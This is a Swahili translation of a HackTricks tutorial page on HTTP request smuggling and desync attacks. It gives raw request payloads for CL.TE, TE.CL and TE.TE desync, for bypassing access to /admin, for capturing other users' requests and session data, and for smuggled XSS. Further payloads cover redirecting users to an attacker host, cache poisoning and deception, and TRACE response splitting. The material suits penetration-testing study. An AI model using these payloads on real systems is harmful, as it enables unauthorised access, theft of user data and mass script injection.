HTTP Request Smuggling / HTTP Desync Attack

Jifunze kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks katika PDF Angalia MIPANGO YA USAJILI!
Pata swag rasmi wa PEASS & HackTricks
Gundua Familia ya PEASS, mkusanyiko wetu wa kipekee wa NFTs
Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.

Ni Nini

Udhaifu huu unatokea wakati desyncronization kati ya proxies za mbele na seva ya nyuma inaruhusu mshambuliaji kutuma ombi la HTTP ambalo litatafsiriwa kama ombi moja na proxies za mbele (usawa wa mzigo / reverse-proxy) na kama ombi 2 na seva ya nyuma. Hii inaruhusu mtumiaji kurekebisha ombi linalofuata linalofika kwa seva ya nyuma baada yake.

Nadharia

Maelezo ya RFC (2161)

Ikiwa ujumbe unapokelewa na uwanja wa kichwa wa Transfer-Encoding na uwanja wa kichwa wa Content-Length, ule wa mwisho UNASTAHILI kupuuzwa.

Content-Length

Kichwa cha mwili wa yaliyomo cha Content-Length kinaonyesha ukubwa wa mwili wa yaliyomo, kwa bayti, iliyotumwa kwa mpokeaji.

Transfer-Encoding: chunked

Kichwa cha Transfer-Encoding kinaeleza aina ya uendeshaji uliotumiwa kwa usalama wa kuhamisha mwili wa mzigo kwa mtumiaji. Chunked inamaanisha kuwa data kubwa inatumwa katika mfululizo wa vipande

Uhalisia

Mbele (usawa wa mzigo / Reverse Proxy) huprocess content-length au transfer-encoding kichwa na seva ya nyuma huprocess nyingine moja ikisababisha desyncronization kati ya mifumo 2. Hii inaweza kuwa muhimu sana kwani mshambuliaji ataweza kutuma ombi moja kwa proxy ya nyuma ambayo itatafsiriwa na seva ya nyuma kama maombi 2 tofauti. Hatari ya mbinu hii iko katika ukweli kwamba seva ya nyuma itatafsiri ombi la 2 lililowekwa kana kwamba ilitoka kwa mteja anayefuata na ombi halisi ya mteja huyo itakuwa sehemu ya ombi lililowekwa.

Vipengele Maalum

Kumbuka kwamba katika HTTP tabia mpya ya mstari inajumuisha bayti 2:

Content-Length: Kichwa hiki hutumia namba ya decimal kuonyesha idadi ya bayti ya mwili wa ombi. Mwili unatarajiwa kuishia katika herufi ya mwisho, mstari mpya hauhitajiki mwishoni mwa ombi.
Transfer-Encoding: Kichwa hiki hutumia katika mwili namba ya hexadecimal kuonyesha idadi ya bayti ya kitengo kifuatacho. Kitengo lazima kumalizika na mstari mpya lakini mstari huu mpya haulinganishwi na kiashiria cha urefu. Mbinu hii ya uhamishaji lazima imalize na kitengo cha ukubwa wa 0 kifuatiwa na mistari 2 mipya: 0
Connection: Kulingana na uzoefu wangu inapendekezwa kutumia Connection: keep-alive kwenye ombi la kwanza la kudukua la ombi.

Mifano ya Msingi

Unapojaribu kutumia hii na Burp Suite lemaza Sasisha Urefu wa Yaliyomo na Fanya Mstari wa HTTP/1 uwe wa kawaida kwenye mripetaji kwa sababu baadhi ya vifaa vinatumia mistari mipya, kurudi nyuma na urefu wa yaliyomo usio sahihi.

Mashambulio ya kudukua ya ombi la HTTP hufanywa kwa kutuma maombi yenye utata ambayo yanatumia tofauti katika jinsi seva za mbele na seva za nyuma zinavyotafsiri vichwa vya Content-Length (CL) na Transfer-Encoding (TE). Mashambulio haya yanaweza kutokea katika aina tofauti, hasa kama CL.TE, TE.CL, na TE.TE. Kila aina inawakilisha mchanganyiko wa kipekee wa jinsi seva za mbele na seva za nyuma zinavyoprioritize vichwa hivi. Udhaifu unatokea kutokana na seva kusindika ombi moja kwa njia tofauti, ikisababisha matokeo yasiyotarajiwa na yanayoweza kuwa mabaya.

Mifano ya Msingi ya Aina za Udhaifu

Udhaifu wa CL.TE (Content-Length kutumiwa na Mbele, Transfer-Encoding kutumiwa na Nyuma)

Mbele (CL): Inaprocess ombi kulingana na kichwa cha Content-Length.
Nyuma (TE): Inaprocess ombi kulingana na kichwa cha Transfer-Encoding.
Skena ya Shambulio:
Mshambuliaji anatuma ombi ambapo thamani ya kichwa cha Content-Length haifanani na urefu halisi wa yaliyomo.
Seva ya mbele inapeleka ombi lote kwa seva ya nyuma, kulingana na thamani ya Content-Length.
Seva ya nyuma inaprocess ombi kama chunked kutokana na kichwa cha Transfer-Encoding: chunked, ikifasiri data iliyobaki kama ombi tofauti, la baadaye.
Mfano:

POST / HTTP/1.1
Host: tovuti-inayoweza-kudukuliwa.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

Udhaifu wa TE.CL (Transfer-Encoding kutumiwa na Mbele, Content-Length kutumiwa na Nyuma)

Mbele (TE): Inaprocess ombi kulingana na kichwa cha Transfer-Encoding.
Nyuma (CL): Inaprocess ombi kulingana na kichwa cha Content-Length.
Skena ya Shambulio:
Mshambuliaji anatuma ombi la chunked ambapo ukubwa wa chunk (7b) na urefu halisi wa yaliyomo (Content-Length: 4) havilingani.
Seva ya mbele, ikizingatia Transfer-Encoding, inapeleka ombi lote kwa seva ya nyuma.
Seva ya nyuma, ikizingatia Content-Length, inaprocess sehemu ya mwanzo tu ya ombi (bayti 7b), ikiiacha sehemu iliyobaki kama sehemu ya ombi isiyokusudiwa baadaye.
Mfano:

POST / HTTP/1.1
Host: tovuti-inayoweza-kudukuliwa.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: tovuti-inayoweza-kudukuliwa.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

Mfumo wa TE.TE (Transfer-Encoding inayotumiwa na wote, na kuficha)

Seva: Wote wanategemea Transfer-Encoding, lakini mmoja anaweza kudanganywa kuipuuza kupitia kuficha.
Skenario ya Shambulizi:
Mshambuliaji anatuma ombi lenye vichwa vilivyofichwa vya Transfer-Encoding.
Kulingana na ni seva ipi (mbele au nyuma) inashindwa kutambua kuficha, udhaifu wa CL.TE au TE.CL unaweza kutumiwa.
Sehemu isiyosindika ya ombi, kama inavyoonekana na moja ya seva, inakuwa sehemu ya ombi linalofuata, ikisababisha usafirishaji haramu.
Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Skenario ya CL.CL (Urefu wa Yaliyomo unayotumiwa na Mbele na Nyuma):

Seva zote zinasindika ombi kulingana na kichwa cha Content-Length pekee.
Skenario hii kawaida haileti usafirishaji haramu, kwani kuna maelewano katika jinsi seva zote zinavyotafsiri urefu wa ombi.
Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Ombi la Kawaida

Skenario ya CL != 0:

Inahusu hali ambapo kichwa cha Content-Length kipo na kina thamani isiyokuwa sifuri, ikionyesha kuwa mwili wa ombi una yaliyomo.
Ni muhimu katika kuelewa na kutengeneza mashambulizi ya usafirishaji, kwani inaathiri jinsi seva zinavyoamua mwisho wa ombi.
Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Mwili Usio Tupa

Kuvunja seva ya wavuti

Mbinu hii pia ni muhimu katika hali ambapo inawezekana kuvunja seva ya wavuti wakati wa kusoma data ya awali ya HTTP lakini bila kufunga uhusiano. Kwa njia hii, mwili wa ombi la HTTP utazingatiwa kama ombi la HTTP linalofuata.

Kwa mfano, kama ilivyoelezwa katika makala hii, Katika Werkzeug ilikuwa inawezekana kutuma baadhi ya herufi za Unicode na itafanya seva ivunjike. Walakini, ikiwa uhusiano wa HTTP uliumbwa na kichwa Connection: keep-alive, mwili wa ombi hautasomwa na uhusiano utaendelea kuwa wazi, hivyo mwili wa ombi utachukuliwa kama ombi la HTTP linalofuata.

Kulazimisha kupitia vichwa vya hop-hop

Kwa kutumia vichwa vya hop-hop unaweza kuashiria kwa proksi kufuta kichwa cha Content-Length au Transfer-Encoding hivyo usafirishaji haramu wa ombi la HTTP unaweza kutumiwa kudanganya.

Connection: Content-Length

Kwa maelezo zaidi kuhusu vichwa vya hop-by-hop headers tembelea:

pagehop-by-hop headers

Kupata Ufichuaji wa Maombi ya HTTP Request Smuggling

Kutambua udhaifu wa ufichuaji wa maombi ya HTTP request smuggling mara nyingi inaweza kufikiwa kwa kutumia mbinu za wakati, ambazo hutegemea kuchunguza muda gani inachukua kwa seva kujibu maombi yaliyodhibitiwa. Mbinu hizi ni muhimu hasa kwa kugundua udhaifu wa CL.TE na TE.CL. Mbali na mbinu hizi, kuna mikakati na zana zingine zinazoweza kutumika kupata udhaifu kama huo:

Kupata Udhaifu wa CL.TE Kwa Kutumia Mbinu za Wakati

Mbinu:
Tuma ombi ambalo, ikiwa programu ina udhaifu, litasababisha seva ya nyuma kusubiri data zaidi.
Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

Uchunguzi:
Seva ya mbele huprocess ombi kulingana na Content-Length na kukata ujumbe mapema.
Seva ya nyuma, ikitarajia ujumbe uliogawanywa, inasubiri kipande kinachofuata ambacho hakiwasili, kusababisha kucheleweshwa.
Viashiria:
Muda wa kusubiri au kuchelewesha mrefu katika majibu.
Kupokea kosa la 400 Bad Request kutoka kwa seva ya nyuma, mara nyingine na maelezo ya kina ya seva.

Kupata Udhaifu wa TE.CL Kwa Kutumia Mbinu za Wakati

Mbinu:
Tuma ombi ambalo, ikiwa programu ina udhaifu, litasababisha seva ya nyuma kusubiri data zaidi.
Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

Uchunguzi:
Seva ya mbele huprocess ombi kulingana na Transfer-Encoding na kupeleka ujumbe wote.
Seva ya nyuma, ikitarajia ujumbe kulingana na Content-Length, inasubiri data zaidi ambayo haitawasili, kusababisha kucheleweshwa.

Mbinu Nyingine za Kupata Udhaifu

Uchambuzi wa Majibu Tofauti:
Tuma toleo kidogo tofauti la ombi na chunguza ikiwa majibu ya seva yanatofautiana kwa njia isiyotarajiwa, ikionyesha hitilafu katika upangaji.
Kutumia Zana za Kiotomatiki:
Zana kama kifaa cha 'HTTP Request Smuggler' cha Burp Suite zinaweza kujaribu moja kwa moja udhaifu huu kwa kutuma aina mbalimbali za maombi yenye utata na kuchambua majibu.
Vipimo vya Upeo wa Content-Length:
Tuma maombi yenye Content-Length tofauti ambazo hazilingani na urefu halisi wa yaliyomo na uchunguze jinsi seva inavyoshughulikia kutofautiana kwa nambari hizi.
Vipimo vya Upeo wa Transfer-Encoding:
Tuma maombi yenye vichwa vilivyofichwa au vilivyoharibika vya Transfer-Encoding na ufuatilie jinsi seva za mbele na nyuma zinavyojibu kwa manipulations kama hizo.

Jaribio la Udhaifu wa Maombi ya HTTP Request Smuggling

Baada ya kuthibitisha ufanisi wa mbinu za wakati, ni muhimu kuhakikisha ikiwa maombi ya mteja yanaweza kudhibitiwa. Mbinu moja rahisi ni kujaribu kudhoofisha maombi yako, kwa mfano, kufanya ombi kwa / kutoe majibu ya 404. Mifano ya CL.TE na TE.CL iliyozungumziwa hapo awali katika Mifano ya Msingi inaonyesha jinsi ya kudhoofisha ombi la mteja ili kupata majibu ya 404, licha ya mteja kutaka kupata rasilimali tofauti.

Mambo Muhimu

Wakati wa kujaribu udhaifu wa ufichuaji wa maombi kwa kuingilia kati na maombi mengine, kumbuka:

Mawasiliano Tofauti ya Mtandao: Maombi ya "shambulio" na "kawaida" yanapaswa kutumwa kupitia mawasiliano tofauti ya mtandao. Kutumia mawasiliano sawa kwa yote mawili haidhibitishi uwepo wa udhaifu.
URL na Vigezo Thabiti: Lengo ni kutumia URLs na majina ya vigezo sawa kwa maombi yote mawili. Programu za kisasa mara nyingi huzielekeza maombi kwa seva za nyuma maalum kulingana na URL na vigezo. Kufanana huku kunaweza kuongeza uwezekano wa maombi yote kusindika na seva ile ile, ambayo ni sharti la shambulio la mafanikio.
Wakati na Hali za Mashindano: Ombi la "kawaida," lililolenga kugundua kuingilia kati kutoka kwa ombi la "shambulio," linashindana na maombi mengine ya programu yanayofanyika wakati huo huo. Hivyo, tuma ombi la "kawaida" mara moja baada ya kutuma ombi la "shambulio." Programu zenye shughuli nyingi zinaweza kuhitaji majaribio mengi kwa uthibitisho wa udhaifu.
Makadirio ya Kugawanya Mzigo: Seva za mbele zinazofanya kazi kama wakadiriaji wa mzigo zinaweza kugawa maombi kwa mifumo tofauti ya nyuma. Ikiwa maombi ya "shambulio" na "kawaida" yanamalizikia kwenye mifumo tofauti, shambulio halitafanikiwa. Upande huu wa kugawanya mzigo unaweza kuhitaji majaribio kadhaa kwa uthibitisho wa udhaifu.
Athari Isiyotarajiwa kwa Mtumiaji: Ikiwa shambulio lako linaathiri ombi la mtumiaji mwingine kwa bahati mbaya (si ombi la "kawaida" ulilotuma kwa kugundua), hii inaonyesha shambulio lako lilimwathiri mtumiaji mwingine wa programu. Majaribio ya mara kwa mara yanaweza kuvuruga watumiaji wengine, hivyo inahitaji kuwa makini.

Kutumia Ufichuaji wa Maombi ya HTTP Request Smuggling

Kuzunguka Usalama wa Mbele kupitia Ufichuaji wa Maombi ya HTTP Request Smuggling

Maranyingi, mawakala wa mbele hutekeleza hatua za usalama, kuchunguza maombi yanayoingia. Hata hivyo, hatua hizi zinaweza kuzungukwa kwa kutumia Ufichuaji wa Maombi ya HTTP Request Smuggling, kuruhusu ufikiaji usiohalali wa vituo vilivyozuiwa. Kwa mfano, kupata /admin kunaweza kuzuiliwa kwa nje, na mawakala wa mbele wakizuia kwa bidii majaribio kama hayo. Walakini, mawakala hawa wanaweza kusahau kuchunguza maombi yaliyofichwa ndani ya ombi la HTTP lililofichwa, kuacha mwanya wa kuzunguka vizuizi hivi.

Zingatia mifano ifuatayo inayoonyesha jinsi Ufichuaji wa Maombi ya HTTP Request Smuggling unaweza kutumika kuzunguka udhibiti wa usalama wa mbele, kwa lengo maalum la njia ya /admin ambayo kawaida hulindwa na mawakala wa mbele:

Mfano wa CL.TE

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Katika shambulio la CL.TE, kichwa cha Content-Length hutumika kwa ombi la awali, wakati ombi lililofichwa linatumia kichwa cha Transfer-Encoding: chunked. Mfumo wa mbele wa proksi huprocess ombi la awali la POST lakini hushindwa kuchunguza ombi lililofichwa la GET /admin, kuruhusu ufikiaji usioruhusiwa kwenye njia ya /admin.

Mfano wa TE.CL

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Kufichua upya wa ombi la mbele la seva

Maombi mara nyingi hutumia seva ya mbele kurekebisha maombi yanayoingia kabla ya kuyapeleka kwa seva ya nyuma. Kubadilisha kawaida hujumuisha kuongeza vichwa, kama vile X-Forwarded-For: <IP ya mteja>, ili kusambaza IP ya mteja kwa seva ya nyuma. Kuelewa mabadiliko haya inaweza kuwa muhimu, kwani inaweza kufunua njia za kupita kinga au kufichua habari au vituo vilivyofichwa.

Ili kuchunguza jinsi proksi inavyobadilisha ombi, tafuta parameter ya POST ambayo seva ya nyuma inarudisha kwenye jibu. Kisha, tengeneza ombi, ukitumia parameter hii mwishoni, kama ifuatavyo:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Katika muundo huu, vipengele vya ombi vinavyofuata vinaongezwa baada ya search=, ambayo ni parameter inayoonekana katika jibu. Uwazi huu utafunua vichwa vya ombi la kufuata.

Ni muhimu kulinganisha kichwa cha Content-Length cha ombi lililofichwa na urefu halisi wa yaliyomo. Kuanzia na thamani ndogo na kuongeza polepole ni vyema, kwani thamani ndogo sana itakata data iliyofichwa, wakati thamani kubwa sana inaweza kusababisha ombi kushindwa.

Mbinu hii pia inatumika katika muktadha wa udhaifu wa TE.CL, lakini ombi linapaswa kumalizika na search=\r\n0. Bila kujali wahusika wa mstari mpya, thamani zitaongezwa kwenye parameter ya utafutaji.

Mbinu hii kimsingi inatumika kuelewa marekebisho ya ombi yaliyofanywa na mwendeshaji wa mbele, kimsingi kufanya uchunguzi wa kujielekeza.

Kukamata maombi ya watumiaji wengine

Inawezekana kukamata maombi ya mtumiaji wa pili kwa kuongeza ombi maalum kama thamani ya parameter wakati wa operesheni ya POST. Hapa ndivyo hii inavyoweza kufanikishwa:

Kwa kuongeza ombi lifuatalo kama thamani ya parameter, unaweza kuhifadhi ombi la mteja linalofuata:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Katika hali hii, parameter ya maoni inalenga kuhifadhi maudhui ndani ya sehemu ya maoni kwenye ukurasa unaopatikana kwa umma. Kwa hivyo, maudhui ya ombi la kufuatia yataonekana kama maoni.

Hata hivyo, mbinu hii ina vikwazo. Kwa ujumla, inakamata data hadi kufikia kizuizi cha parameter kilichotumika katika ombi lililosafirishwa. Kwa maingizo ya fomu zilizoorodheshwa kwa URL, kizuizi hiki ni herufi ya &. Hii inamaanisha maudhui yaliyokamatwa kutoka kwa ombi la mtumiaji wa mwathiriwa yatasimama kwenye & ya kwanza, ambayo inaweza hata kuwa sehemu ya mfuatano wa utaftaji.

Zaidi ya hayo, ni muhimu kutambua kuwa njia hii pia inafaa na kasoro ya TE.CL. Katika hali kama hizo, ombi linapaswa kumalizika na search=\r\n0. Bila kujali wahusika wa mstari mpya, thamani zitaongezwa kwenye parameter ya utaftaji.

Kutumia uchomaji wa ombi la HTTP kudanganya XSS iliyorejelewa

Uchomaji wa Ombi la HTTP unaweza kutumika kudanganya kurasa za wavuti zenye kasoro ya XSS iliyorejelewa, ikitoa faida kubwa:

Mwingiliano na watumiaji lengwa haohitajiki.
Inaruhusu kutumia XSS katika sehemu za ombi ambazo kawaida ni vigumu kufikiwa, kama vile vichwa vya ombi la HTTP.

Katika hali ambapo tovuti inaweza kuathiriwa na XSS iliyorejelewa kupitia kichwa cha Mtumiaji, mzigo wa kufuatia unadhihirisha jinsi ya kutumia kasoro hii:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Payload hii imeundwa kuchexploit udhaifu kwa:

Kuanzisha ombi la POST, linaloonekana kawaida, na kichwa cha Transfer-Encoding: chunked kuashiria kuanza kwa smuggling.
Kufuatiwa na 0, ikionyesha mwisho wa mwili wa ujumbe wa chunked.
Kisha, ombi la GET lililosukumwa linaletwa, ambapo kichwa cha User-Agent kimeingizwa na script, <script>alert(1)</script>, kuzindua XSS wakati server inapoprocess ombi hili linalofuata.

Kwa kubadilisha User-Agent kupitia smuggling, payload inapita kwa njia ya kawaida ya kuzuia ombi, hivyo kuchexploit udhaifu wa Reflected XSS kwa njia isiyo ya kawaida lakini yenye ufanisi.

HTTP/0.9

Kwa kesi ambapo maudhui ya mtumiaji yanarudi katika jibu na Content-type kama text/plain, kuzuia utekelezaji wa XSS. Ikiwa server inaunga mkono HTTP/0.9 inaweza kuwezekana kuzidi hili!

Toleo la HTTP/0.9 lilikuwa kabla ya 1.0 na hutumia GET tu na haurudi na vichwa, tu mwili.

Katika makala hii, hii ilidhulumiwa na smuggling ya ombi na sehemu dhaifu itakayojibu na kuingiza mtumiaji kudhulumu ombi na HTTP/0.9. Paramita itakayorudiwa katika jibu ilikuwa na jibu bandia la HTTP/1.1 (na vichwa na mwili) hivyo jibu litakuwa na msimbo wa JS wa kutekelezeka kisheria na Content-Type ya text/html.

Kuchexploit Migeuko ya Ndani kwa Kutumia Smuggling ya Ombi la HTTP

Maombi mara nyingi hurekebisha kutoka kwa URL moja hadi nyingine kwa kutumia jina la mwenyeji kutoka kichwa cha Host katika URL ya kurekebisha. Hii ni ya kawaida na seva za wavuti kama Apache na IIS. Kwa mfano, kuomba folda bila mstari wa mwisho husababisha kurekebisha kuwa na mstari wa mwisho:

GET /home HTTP/1.1
Host: normal-website.com

Matokeo ni:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Licha ya kuonekana kuwa haina madhara, tabia hii inaweza kudanganywa kwa kutumia uporaji wa ombi la HTTP ili kuwaongoza watumiaji kwenye tovuti ya nje. Kwa mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Hii ombi lililosafirishwa linaweza kusababisha ombi la mtumiaji lililopita kusukumwa kuelekea tovuti inayodhibitiwa na mshambuliaji:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Matokeo ni:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Katika kesi hii, ombi la mtumiaji la faili ya JavaScript linatekwa. Mshambuliaji anaweza kudhoofisha mtumiaji kwa kuhudumia JavaScript mbaya kama jibu.

Kutumia Ufisadi wa Hifadhi ya Wavuti kupitia Udukuzi wa Ombi la HTTP

Ufisadi wa hifadhi ya wavuti unaweza kutekelezwa ikiwa sehemu yoyote ya miundombinu ya mbele inahifadhi maudhui, kawaida kuboresha utendaji. Kwa kubadilisha jibu la seva, inawezekana kufisidi hifadhi.

Awali, tuliona jinsi majibu ya seva yanaweza kubadilishwa ili kurudisha kosa la 404 (angalia Mifano ya Msingi). Vivyo hivyo, ni rahisi kudanganya seva kutoa maudhui ya /index.html kama jibu kwa ombi la /static/include.js. Kwa hivyo, maudhui ya /static/include.js yanabadilishwa katika hifadhi na yale ya /index.html, ikifanya /static/include.js kuwa haipatikani kwa watumiaji, na kusababisha Uzuizi wa Huduma (DoS).

Mbinu hii inakuwa yenye nguvu hasa ikiwa Udhaifu wa Kuelekeza wazi unagunduliwa au ikiwa kuna kuelekeza kwenye wavuti kwenda kwa kuelekeza wazi. Udhaifu kama huo unaweza kutumika kubadilisha maudhui yaliyohifadhiwa ya /static/include.js na script chini ya udhibiti wa mshambuliaji, kimsingi kuwezesha shambulio kubwa la Udukuzi wa Msalaba wa Wavuti (XSS) dhidi ya wateja wote wanaotaka /static/include.js iliyosasishwa.

Hapa chini ni mchoro wa kutumia ufisadi wa hifadhi pamoja na kuelekeza kwenye wavuti kwenda kwa kuelekeza wazi. lengo ni kubadilisha maudhui ya hifadhi ya /static/include.js kutumikia nambari ya JavaScript iliyo chini ya udhibiti wa mshambuliaji:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Tafadhali kumbuka ombi lililofichwa linalolenga /post/next?postId=3. Ombi hili litaelekezwa kwa /post?postId=4, likitumia Thamani ya Kichwa cha Mwenyeji kubaini kikoa. Kwa kubadilisha Kichwa cha Mwenyeji, mshambuliaji anaweza kuuelekeza ombi kwenye kikoa chao (kuelekeza kwa tovuti yao kwa kuelekeza wazi).

Baada ya sumu ya soketi kufanikiwa, ombi la GET kwa /static/include.js linapaswa kuanzishwa. Ombi hili litachafuliwa na ombi la awali la kuelekeza kwa tovuti yao kwa kuelekeza wazi na kupata maudhui ya skripti inayodhibitiwa na mshambuliaji.

Kufuatia hilo, ombi lolote kwa /static/include.js litahudumia maudhui yaliyohifadhiwa ya skripti ya mshambuliaji, ikizindua mashambulizi makubwa ya XSS.

Kutumia udanganyifu wa ombi la HTTP kutekeleza udanganyifu wa kuhifadhi wavuti

Ni tofauti gani kati ya sumu ya kuhifadhi wavuti na udanganyifu wa kuhifadhi wavuti?
Katika sumu ya kuhifadhi wavuti, mshambuliaji husababisha programu kuhifadhi baadhi ya maudhui yenye nia mbaya kwenye hifadhi, na maudhui haya hutolewa kutoka kwenye hifadhi kwa watumiaji wengine wa programu.
Katika udanganyifu wa kuhifadhi wavuti, mshambuliaji husababisha programu kuhifadhi baadhi ya maudhui nyeti yanayomilikiwa na mtumiaji mwingine kwenye hifadhi, na kisha mshambuliaji huchukua maudhui haya kutoka kwenye hifadhi.

Mshambuliaji huchora ombi lililofichwa ambalo hupata maudhui nyeti yanayohusiana na mtumiaji. Chukua mfano ufuatao:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Kudhuru TRACE kupitia Uchomaji wa Ombi la HTTP

Katika chapisho hili inapendekezwa kwamba ikiwa seva ina njia ya TRACE iliyowezeshwa inaweza kuwa inawezekana kuitumia na Uchomaji wa Ombi la HTTP. Hii ni kwa sababu njia hii itaakisi kichwa chochote kilichotumwa kwa seva kama sehemu ya mwili wa jibu. Kwa mfano:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Nitatumia jibu kama:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Mfano wa jinsi ya kutumia tabia hii ni kuficha kwanza ombi la HEAD. Ombi hili litajibiwa na vichwa tu vya ombi la GET (Content-Type miongoni mwao). Na kuficha moja kwa moja baada ya HEAD ombi la TRACE, ambalo litakuwa linarudisha data iliyotumwa. Kwa kuwa jibu la HEAD litakuwa na kichwa cha Content-Length, jibu la ombi la TRACE litachukuliwa kama mwili wa jibu la HEAD, hivyo kuirudisha data isiyojulikana katika jibu. Jibu hili litatumwa kwa ombi lifuatalo kupitia uhusiano, hivyo hii inaweza kutumika katika faili ya JS iliyohifadhiwa kwa mfano kuingiza msimbo wa JS usiojulikana.

Kutumia TRACE kupitia Uvunjaji wa Majibu ya HTTP

Endelea kufuata chapisho hili inapendekeza njia nyingine ya kutumia mbinu ya TRACE. Kama ilivyoelezwa, kuficha ombi la HEAD na ombi la TRACE inawezekana kudhibiti baadhi ya data iliyorudishwa katika jibu la ombi la HEAD. Urefu wa mwili wa ombi la HEAD kimsingi unatajwa katika kichwa cha Content-Length na unajumuisha jibu la ombi la TRACE.

Hivyo basi, wazo jipya litakuwa kwamba, kwa kujua hii Content-Length na data iliyotolewa katika jibu la TRACE, inawezekana kufanya jibu la TRACE liwe na jibu sahihi la HTTP baada ya byte ya mwisho ya Content-Length, kuruhusu mshambuliaji kudhibiti kabisa ombi kwa jibu lifuatalo (ambalo linaweza kutumika kufanya sumu ya cache).

Mfano:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Itakuwaleta majibu haya (tazama jinsi jibu la HEAD lina Content-Length likifanya jibu la TRACE kuwa sehemu ya mwili wa HEAD na mara tu Content-Length ya HEAD inapoisha, jibu sahihi la HTTP linasafirishwa):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Kutumia Silaha ya Udukuzi wa Ombi la HTTP na Kutengeneza Kutofautisha Majibu ya HTTP

